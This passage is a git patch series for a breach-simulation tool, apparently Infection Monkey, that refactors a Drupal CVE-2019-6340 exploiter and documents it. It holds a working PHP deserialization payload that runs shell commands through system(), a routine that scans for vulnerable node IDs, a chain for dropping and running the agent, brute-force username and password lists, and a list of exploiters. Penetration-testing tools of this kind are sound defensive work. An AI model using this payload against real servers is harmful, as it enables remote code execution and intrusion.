+ "user"
+ ],
+ "description": "List of user names that will be used by exploiters that need credentials, like "
+ "SSH brute-forcing."
+ },
+ "exploit_password_list": {
+ "title": "Exploit password list",
+ "type": "array",
+ "uniqueItems": True,
+ "items": {
+ "type": "string"
+ },
+ "default": [
+ "root",
+ "123456",
+ "password",
+ "123456789",
+ "qwerty",
+ "111111",
+ "iloveyou"
+ ],
+ "description": "List of passwords that will be used by exploiters that need credentials, like "
+ "SSH brute-forcing."
+ }
+ }
+ }
+ }
+}
diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
new file mode 100644
index 000000000..130171877
--- /dev/null
+++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py
@@ -0,0 +1,139 @@
+from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN
+
+EXPLOITER_CLASSES = {
+ "title": "Exploit class",
+ "description": "Click on exploiter to get more information about it." + WARNING_SIGN +
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service.",
+ "type": "string",
+ "anyOf": [
+ {
+ "type": "string",
+ "enum": [
+ "SmbExploiter"
+ ],
+ "title": "SMB Exploiter",
+ "attack_techniques": ["T1110", "T1075", "T1035"],
+ "info": "Brute forces using credentials provided by user and"
+ " hashes gathered by mimikatz.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "WmiExploiter"
+ ],
+ "title": "WMI Exploiter",
+ "attack_techniques": ["T1110", "T1106"],
+ "info": "Brute forces WMI (Windows Management Instrumentation) "
+ "using credentials provided by user and hashes gathered by mimikatz.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "MSSQLExploiter"
+ ],
+ "title": "MSSQL Exploiter",
+ "attack_techniques": ["T1110"],
+ "info": "Tries to brute force into MsSQL server and uses insecure "
+ "configuration to execute commands on server.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "Ms08_067_Exploiter"
+ ],
+ "title": "MS08-067 Exploiter (UNSAFE)",
+ "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. "
+ "Uses MS08-067 vulnerability.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "SSHExploiter"
+ ],
+ "title": "SSH Exploiter",
+ "attack_techniques": ["T1110", "T1145", "T1106"],
+ "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "ShellShockExploiter"
+ ],
+ "title": "ShellShock Exploiter",
+ "info": "CVE-2014-6271, based on logic from "
+ "https://github.com/nccgroup/shocker/blob/master/shocker.py .",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "SambaCryExploiter"
+ ],
+ "title": "SambaCry Exploiter",
+ "info": "Bruteforces and searches for anonymous shares. Uses Impacket.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "ElasticGroovyExploiter"
+ ],
+ "title": "ElasticGroovy Exploiter",
+ "info": "CVE-2015-1427. Logic is based on Metasploit module.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "Struts2Exploiter"
+ ],
+ "title": "Struts2 Exploiter",
+ "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on "
+ "https://www.exploit-db.com/exploits/41570 .",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "WebLogicExploiter"
+ ],
+ "title": "WebLogic Exploiter",
+ "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "HadoopExploiter"
+ ],
+ "title": "Hadoop/Yarn Exploiter",
+ "info": "Remote code execution on HADOOP server with YARN and default settings. "
+ "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "VSFTPDExploiter"
+ ],
+ "title": "VSFTPD Exploiter",
+ "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
+ "Logic based on Metasploit module.",
+ "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
+ },
+ {
+ "type": "string",
+ "enum": [
+ "DrupalExploiter"
+ ],
+ "title": "Drupal Exploiter",
+ "info": "Exploits a remote command execution vulnerability",
+ "link": ""
+ }
+ ]
+}
From 1ae8ecff623e03baafca3727482bf6d05b17bb52 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 16:40:21 +0300
Subject: [PATCH 09/32] Move remote_port to a designated file and add UT
---
monkey/common/network/network_utils.py | 8 ++++++++
monkey/common/network/test_network_utils.py | 9 +++++++--
monkey/infection_monkey/exploit/drupal.py | 11 ++---------
3 files changed, 17 insertions(+), 11 deletions(-)
diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py
index 230e494bf..859bafb1f 100644
--- a/monkey/common/network/network_utils.py
+++ b/monkey/common/network/network_utils.py
@@ -1,3 +1,4 @@
+import re
from urllib.parse import urlparse
@@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
"""
url = urlparse("http://" + network_location)
return str(url.hostname)
+
+
+def remove_port(url):
+ parsed = urlparse(url)
+ with_port = f'{parsed.scheme}://{parsed.netloc}'
+ without_port = re.sub(':[0-9]+$', '', with_port)
+ return without_port
diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py
index b4194aa27..2351eba0e 100644
--- a/monkey/common/network/test_network_utils.py
+++ b/monkey/common/network/test_network_utils.py
@@ -1,12 +1,17 @@
from unittest import TestCase
-from common.network.network_utils import get_host_from_network_location
+from common.network.network_utils import get_host_from_network_location, remove_port
class TestNetworkUtils(TestCase):
- def test_remove_port_from_ip_string(self):
+ def test_get_host_from_network_location(self):
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
assert get_host_from_network_location("user:password@host:8080") == "host"
+
+ def test_remove_port_from_url(self):
+ assert remove_port('https://google.com:80') == 'https://google.com'
+ assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
+ assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 31b7a4cd2..c1b749ad9 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -5,23 +5,16 @@ Implementation is based on:
"""
import logging
-import re
import requests
-from urllib.parse import urljoin, urlparse
+from urllib.parse import urljoin
from infection_monkey.exploit.web_rce import WebRCE
+from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def remove_port(url):
- parsed = urlparse(url)
- with_port = f'{parsed.scheme}://{parsed.netloc}'
- without_port = re.sub(':[0-9]+$', '', with_port)
- return without_port
-
-
def build_url(*args) -> str:
f = ''
for x in args:
From c9ea95110ccf3079866bae9ef073487d774771b4 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 16:52:10 +0300
Subject: [PATCH 10/32] remove unnecessary function and replace with urljoin
---
monkey/infection_monkey/exploit/drupal.py | 11 ++---------
1 file changed, 2 insertions(+), 9 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index c1b749ad9..06cd17e54 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -15,13 +15,6 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def build_url(*args) -> str:
- f = ''
- for x in args:
- f = urljoin(f, x)
- return f
-
-
def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
@@ -33,7 +26,7 @@ def find_articles(base_url: str, lower: int = 1, upper: int = 10):
""" Find a target article that does not 404 and is not cached """
articles = set()
while lower < upper:
- u = build_url(base_url, str(lower))
+ u = urljoin(base_url, str(lower))
r = requests.get(u)
if r.status_code == 200: # found an article
articles.add(lower)
@@ -75,7 +68,7 @@ class DrupalExploiter(WebRCE):
LOG.info('Could not find a Drupal node to attack')
continue
for node_id in node_ids:
- node_url = build_url(url, str(node_id))
+ node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
self.add_vuln_url(url) # Where is this used?
self.vulnerable_urls.append(node_url)
From b82a6e48b285f8e0e3ecde79a3da3b3bd2d4ed52 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 17:55:04 +0300
Subject: [PATCH 11/32] use ID_STRING instead of dashes
---
monkey/infection_monkey/exploit/drupal.py | 11 ++++++-----
1 file changed, 6 insertions(+), 5 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 06cd17e54..fa5222146 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -8,6 +8,7 @@ import logging
import requests
from urllib.parse import urljoin
from infection_monkey.exploit.web_rce import WebRCE
+from infection_monkey.model import ID_STRING
from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
@@ -70,7 +71,7 @@ class DrupalExploiter(WebRCE):
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
if self.check_if_exploitable(node_url):
- self.add_vuln_url(url) # Where is this used?
+ self.add_vuln_url(url) # This is for report. Should be refactored in the future
self.vulnerable_urls.append(node_url)
if stop_checking:
break
@@ -114,7 +115,7 @@ class DrupalExploiter(WebRCE):
def exploit(self, url, command):
# pad a easy search replace output:
- cmd = 'echo ---- && ' + command
+ cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
payload = {
"link": [
@@ -145,10 +146,10 @@ class DrupalExploiter(WebRCE):
if check_drupal_cache(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
- if '----' not in r.text:
- LOG.info('[warn] Command execution _may_ have failed')
+ if ID_STRING not in r.text:
+ LOG.warning('Command execution _may_ have failed')
- result = r.text.split('----')[-1]
+ result = r.text.split(ID_STRING)[-1]
LOG.info(f'Drupal exploit result = {result}')
return result
From 6184400f514de122cb88d9b41d85758d369e9b37 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Mon, 31 Aug 2020 17:55:24 +0300
Subject: [PATCH 12/32] mention Drupal REST API requirement
---
.../ui/src/components/report-components/SecurityReport.js | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index d5bfff63a..250f90546 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -793,10 +793,9 @@ class ReportPageComponent extends AuthComponent {
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to remote command execution attack.
- The attack was made possible because the server is using an old version of Drupal.
- For possible workarounds and more info read here.
+ The attack was made possible because the server is using an old version of Drupal, for which REST API is
+ enabled. For possible workarounds and more info read
+ here.
>
);
From cec57c1604faf60458d1c493bac019f70f8dea31 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 11:48:06 +0300
Subject: [PATCH 13/32] Update minor things in order to pass CI build
---
monkey/common/network/test_network_utils.py | 3 ++-
monkey/infection_monkey/exploit/drupal.py | 24 +++++++++++----------
2 files changed, 15 insertions(+), 12 deletions(-)
diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py
index 2351eba0e..3ee696a93 100644
--- a/monkey/common/network/test_network_utils.py
+++ b/monkey/common/network/test_network_utils.py
@@ -1,6 +1,7 @@
from unittest import TestCase
-from common.network.network_utils import get_host_from_network_location, remove_port
+from common.network.network_utils import (get_host_from_network_location,
+ remove_port)
class TestNetworkUtils(TestCase):
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index fa5222146..1ed0d499e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -5,11 +5,13 @@ Implementation is based on:
"""
import logging
-import requests
from urllib.parse import urljoin
+
+import requests
+
+from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
-from network.network_utils import remove_port
__author__ = 'Ophir Harpaz'
@@ -102,15 +104,15 @@ class DrupalExploiter(WebRCE):
"value": ""
}
}
-
+
response = requests.get(f'{url}?_format=hal_json',
json=payload,
headers={"Content-Type": "application/hal+json"})
-
+
if check_drupal_cache(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
-
+
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
def exploit(self, url, command):
@@ -138,21 +140,21 @@ class DrupalExploiter(WebRCE):
}
}
}
-
+
LOG.info(payload)
-
+
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
-
+
if check_drupal_cache(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
-
+
if ID_STRING not in r.text:
LOG.warning('Command execution _may_ have failed')
-
+
result = r.text.split(ID_STRING)[-1]
LOG.info(f'Drupal exploit result = {result}')
return result
-
+
def get_target_url(self):
"""
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
From 6e2678473caaf5d10dacc0fa501db7bd89139fd1 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 11:53:38 +0300
Subject: [PATCH 14/32] rename function that finds vulnerable node IDs
---
monkey/infection_monkey/exploit/drupal.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 1ed0d499e..63aa5fb97 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -25,8 +25,8 @@ def check_drupal_cache(r: requests.Response) -> bool:
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-def find_articles(base_url: str, lower: int = 1, upper: int = 10):
- """ Find a target article that does not 404 and is not cached """
+def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set:
+ """ Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
u = urljoin(base_url, str(lower))
@@ -66,7 +66,7 @@ class DrupalExploiter(WebRCE):
:return: None (in-place addition)
"""
for url in potential_urls:
- node_ids = find_articles(url)
+ node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
LOG.info('Could not find a Drupal node to attack')
continue
From f31186272f42252efe0d4c0c23758b834f054179 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:07:29 +0300
Subject: [PATCH 15/32] fixed logic and name in finding exploitable nodes
---
monkey/infection_monkey/exploit/drupal.py | 23 +++++++++++------------
1 file changed, 11 insertions(+), 12 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 63aa5fb97..b40a6476e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -18,10 +18,8 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def check_drupal_cache(r: requests.Response) -> bool:
- """
- Check if a response had the cache header.
- """
+def is_response_cached(r: requests.Response) -> bool:
+ """ Check if a response had the cache header. """
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
@@ -29,12 +27,13 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10)
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
- u = urljoin(base_url, str(lower))
- r = requests.get(u)
- if r.status_code == 200: # found an article
- articles.add(lower)
- if check_drupal_cache(r):
- LOG.info(f'Found a cached article at: {lower}, skipping')
+ node_url = urljoin(base_url, str(lower))
+ response = requests.get(node_url)
+ if response.status_code == 200:
+ if is_response_cached(response):
+ LOG.info(f'Found a cached article at: {node_url}, skipping')
+ else:
+ articles.add(lower)
lower += 1
return articles
@@ -109,7 +108,7 @@ class DrupalExploiter(WebRCE):
json=payload,
headers={"Content-Type": "application/hal+json"})
- if check_drupal_cache(response):
+ if is_response_cached(response):
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
return False
@@ -145,7 +144,7 @@ class DrupalExploiter(WebRCE):
r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
- if check_drupal_cache(r):
+ if is_response_cached(r):
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
if ID_STRING not in r.text:
From cf776063afaa7842ea1a31f8ba461793d2bf3e25 Mon Sep 17 00:00:00 2001
From: Shay Nehmad
Date: Tue, 1 Sep 2020 12:17:01 +0300
Subject: [PATCH 16/32] Reformat + extract payload building to functions
---
monkey/infection_monkey/exploit/drupal.py | 126 ++++++++++++----------
1 file changed, 68 insertions(+), 58 deletions(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 1ed0d499e..3e23ece6d 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -18,27 +18,6 @@ __author__ = 'Ophir Harpaz'
LOG = logging.getLogger(__name__)
-def check_drupal_cache(r: requests.Response) -> bool:
- """
- Check if a response had the cache header.
- """
- return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-
-
-def find_articles(base_url: str, lower: int = 1, upper: int = 10):
- """ Find a target article that does not 404 and is not cached """
- articles = set()
- while lower < upper:
- u = urljoin(base_url, str(lower))
- r = requests.get(u)
- if r.status_code == 200: # found an article
- articles.add(lower)
- if check_drupal_cache(r):
- LOG.info(f'Found a cached article at: {lower}, skipping')
- lower += 1
- return articles
-
-
class DrupalExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Drupal Server'
@@ -88,22 +67,7 @@ class DrupalExploiter(WebRCE):
:param url: Drupal's URL and port
:return: Vulnerable URL if exploitable, otherwise False
"""
- payload = {
- "_links": {
- "type": {
- "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
- }
- },
- "type": {
- "target_id": "article"
- },
- "title": {
- "value": "My Article"
- },
- "body": {
- "value": ""
- }
- }
+ payload = build_exploitability_check_payload(url)
response = requests.get(f'{url}?_format=hal_json',
json=payload,
@@ -119,27 +83,7 @@ class DrupalExploiter(WebRCE):
# pad a easy search replace output:
cmd = f'echo {ID_STRING} && {command}'
base = remove_port(url)
- payload = {
- "link": [
- {
- "value": "link",
- "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
- "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
- "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
- "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
- "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
- "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
- "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
- "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
- "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
- }
- ],
- "_links": {
- "type": {
- "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
- }
- }
- }
+ payload = build_cmd_execution_payload(base, cmd)
LOG.info(payload)
@@ -162,3 +106,69 @@ class DrupalExploiter(WebRCE):
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
+
+
+def check_drupal_cache(r: requests.Response) -> bool:
+ """
+ Check if a response had the cache header.
+ """
+ return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+
+
+def find_articles(base_url: str, lower: int = 1, upper: int = 10):
+ """ Find a target article that does not 404 and is not cached """
+ articles = set()
+ while lower < upper:
+ u = urljoin(base_url, str(lower))
+ r = requests.get(u)
+ if r.status_code == 200: # found an article
+ articles.add(lower)
+ if check_drupal_cache(r):
+ LOG.info(f'Found a cached article at: {lower}, skipping')
+ lower += 1
+ return articles
+
+
+def build_exploitability_check_payload(url):
+ payload = {
+ "_links": {
+ "type": {
+ "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
+ }
+ },
+ "type": {
+ "target_id": "article"
+ },
+ "title": {
+ "value": "My Article"
+ },
+ "body": {
+ "value": ""
+ }
+ }
+ return payload
+
+
+def build_cmd_execution_payload(base, cmd):
+ payload = {
+ "link": [
+ {
+ "value": "link",
+ "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
+ "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
+ "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
+ "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
+ "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
+ "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
+ "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
+ "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+ "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+ }
+ ],
+ "_links": {
+ "type": {
+ "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
+ }
+ }
+ }
+ return payload
From 9fcf2fe0e63dbacdd959be8e33582846aa690ff6 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:39:14 +0300
Subject: [PATCH 17/32] improve the check of sufficient URLs for the attack
---
monkey/infection_monkey/exploit/drupal.py | 9 +++++++++
monkey/infection_monkey/exploit/web_rce.py | 11 ++++++++++-
2 files changed, 19 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 113788993..c4c834559 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -106,6 +106,15 @@ class DrupalExploiter(WebRCE):
:return: vulnerable URL to exploit
"""
return self.vulnerable_urls.pop()
+
+ def are_vulnerable_urls_sufficient(self):
+ """
+ For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
+ :return: Whether the list of vulnerable URLs has at least 5 elements.
+ """
+ # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
+ num_urls_needed_for_full_exploit = 5
+ return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit
def is_response_cached(r: requests.Response) -> bool:
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 833023141..0f489d0a6 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -92,7 +92,7 @@ class WebRCE(HostExploiter):
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
- if not self.vulnerable_urls:
+ if not self.are_vulnerable_urls_sufficient():
return False
self.target_url = self.get_target_url()
@@ -517,3 +517,12 @@ class WebRCE(HostExploiter):
:return: a vulnerable URL
"""
return self.vulnerable_urls[0]
+
+ def are_vulnerable_urls_sufficient(self):
+ """
+ Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
+ Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
+ single use, thus we need a couple of them.
+ :return: Whether or not a full attack can be performed using the available vulnerable URLs.
+ """
+ return len(self.vulnerable_urls) > 0
From bdba20133d43989c37bf8ab15164ee25fdf5678a Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:39:36 +0300
Subject: [PATCH 18/32] retore the upper bound from the original exploit
implementation
---
monkey/infection_monkey/exploit/drupal.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index c4c834559..33321052e 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -122,7 +122,7 @@ def is_response_cached(r: requests.Response) -> bool:
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
-def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 10) -> set:
+def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
""" Find target articles that do not 404 and are not cached """
articles = set()
while lower < upper:
From a7b84b966cd6e7929cc4ac850219f0c5f164e299 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 12:43:20 +0300
Subject: [PATCH 19/32] fix length check and add log
---
monkey/infection_monkey/exploit/drupal.py | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 33321052e..8d017fb31 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -114,7 +114,12 @@ class DrupalExploiter(WebRCE):
"""
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
num_urls_needed_for_full_exploit = 5
- return len(self.vulnerable_urls) > num_urls_needed_for_full_exploit
+ num_available_urls = len(self.vulnerable_urls)
+ result = num_available_urls >= num_urls_needed_for_full_exploit
+ if not result:
+ LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
+ f'but only {num_available_urls} found')
+ return result
def is_response_cached(r: requests.Response) -> bool:
From 0eb31a927d76a6a5db33d7d88369d6e60256ba07 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:00:58 +0300
Subject: [PATCH 20/32] add basic Drupal docs page
---
docs/content/reference/exploiters/Drupal.md | 31 +++++++++++++++++++++
1 file changed, 31 insertions(+)
create mode 100644 docs/content/reference/exploiters/Drupal.md
diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md
new file mode 100644
index 000000000..ac085931f
--- /dev/null
+++ b/docs/content/reference/exploiters/Drupal.md
@@ -0,0 +1,31 @@
+---
+title: "Drupal"
+date: 2020-09-01T08:42:46+03:00
+draft: false
+tags: ["exploit", "linux", "windows"]
+---
+
+The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
+on a vulnerable Drupal server.
+
+### Description
+
+Some field types do not properly sanitize data from non-form sources in certain versions
+of Drupal server. This can lead to arbitrary PHP code execution in some cases.
+
+
+### Affected Versions
+
+* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
+* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
+or POST requests; OR
+* The site has another web services module enabled, like JSON:API in
+Drupal 8, or Services or RESTful Web Services in Drupal 7.
+
+
+### Notes
+
+* The _Infection Monkey_ exploiter implementation is based on an open-source
+[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
+of the exploit by @leonjza.
+* For the full attack to work, more than one vulnerable URL is required.
\ No newline at end of file
From 7288fb9814ec962e9ef320d201c2d82c58c2fc27 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Tue, 1 Sep 2020 14:16:22 +0300
Subject: [PATCH 21/32] fix Docs page and add to report
---
docs/content/reference/exploiters/Drupal.md | 8 ++++++--
.../config_schema/definitions/exploiter_classes.py | 2 +-
2 files changed, 7 insertions(+), 3 deletions(-)
diff --git a/docs/content/reference/exploiters/Drupal.md b/docs/content/reference/exploiters/Drupal.md
index ac085931f..df600b2cb 100644
--- a/docs/content/reference/exploiters/Drupal.md
+++ b/docs/content/reference/exploiters/Drupal.md
@@ -11,12 +11,16 @@ on a vulnerable Drupal server.
### Description
Some field types do not properly sanitize data from non-form sources in certain versions
-of Drupal server. This can lead to arbitrary PHP code execution in some cases.
+of Drupal server.
+
+This can lead to arbitrary PHP code execution in some cases.
### Affected Versions
